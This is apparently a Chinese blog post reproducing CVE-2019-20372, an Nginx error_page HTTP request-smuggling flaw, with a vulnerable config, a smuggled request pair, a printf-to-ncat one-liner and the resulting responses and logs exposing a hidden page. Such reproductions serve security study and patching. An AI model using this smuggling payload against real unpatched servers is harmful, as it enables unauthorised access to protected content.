CVE-2019-20372-Nginx error_page 请求走私
2024-10-16 20:00:09
一、漏洞简介
Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。
二、漏洞影响
Ngnix < 1.17.7
三、复现过程
错误代码
server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}
这时候我们可以向服务器发送以下请求
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
我们看一下服务器是怎么处理的
printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown
等于说是吧两个请求都间接的执行了,我们看一下burp里面的返回值
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!
再一下nginx服务器里面的日志
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-"
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"
最新文章
- 数据结构之栈-JavaScript实现栈的功能
- python爬虫学习(1) —— 从urllib说起
- Magento 新增字段的值读写丢失原因
- 缓存篇~第六回 Microsoft.Practices.EnterpriseLibrary.Caching实现基于方法签名的数据集缓存
- PHP四种基础算法详解
- POJ 1523 SPF tarjan求割点
- 【Linux】Mutex互斥量线程同步的例子
- JavaScript高级程序设计(第三版)第三章 基本概念
- oracle学习总结5(游标、触发器、过程、方法)
- VC++深入详解读书笔记-第七章对话框
- [目标检测]YOLO原理
- 201521123030《Java程序设计》第1周学习总结
- java类加载器——ClassLoader
- MS SQL自定义函数判断是否正整数
- mysql异常:Packet for query is too large (10240 >; 1024). You can change this value
- 在浏览器窗口中加载新的url
- MAC/Xcode简单操作命令
- dotNet Core WEB程序使用 Nginx反向代理
- es5.0 安装ik中文分词器 mac
- 在Linux环境下设置ArcGIS Server 服务开机自启
热门文章
- 系统找不到C:\ProgramData\Oracle\Java\javapath\java.exe问题及解决方案
- CodeForces - 803C Maximal GCD 【构造】
- 记录一个状压DP用到的骚操作
- Hexo-域名设置+收录
- Kafka 博文索引
- DuckDuckGo Privacy Browser
- ES2021 &; Pipeline operator (|>;) / 管道运算符 |>;
- Kotlin &; Android &; Swift &; Flutter &; React Native
- vue &; vue router &; dynamic router
- flutter 1.5 in action